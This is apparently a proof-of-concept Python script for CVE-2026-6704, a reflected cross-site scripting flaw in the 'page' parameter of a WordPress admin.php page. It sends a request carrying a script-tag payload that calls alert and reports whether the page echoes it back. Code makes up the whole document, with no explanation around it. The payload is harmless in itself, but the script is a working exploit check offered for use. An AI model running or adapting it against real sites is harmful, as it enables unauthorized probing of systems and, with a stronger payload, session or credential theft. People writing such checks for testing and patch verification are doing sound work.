CVE-2026-6704

import requests # Target URL (replace with actual vulnerable domain) target_url = "http://example.com/wp-admin/admin.php" # Malicious payload using the 'page' parameter # Note: The vulnerability is in the 'page' parameter payload = "?page=<script>alert('CVE-2026-6704-XSS');</script>" # Send the request try: response = requests.get(target_url + payload) # Check if the payload is reflected in the response without proper escaping if "alert('CVE-2026-6704-XSS')" in response.text: print("[+] Vulnerability confirmed! The payload was reflected in the response.") else: print("[-] Vulnerability not confirmed or patched.") except Exception as e: print(f"Error: {e}")

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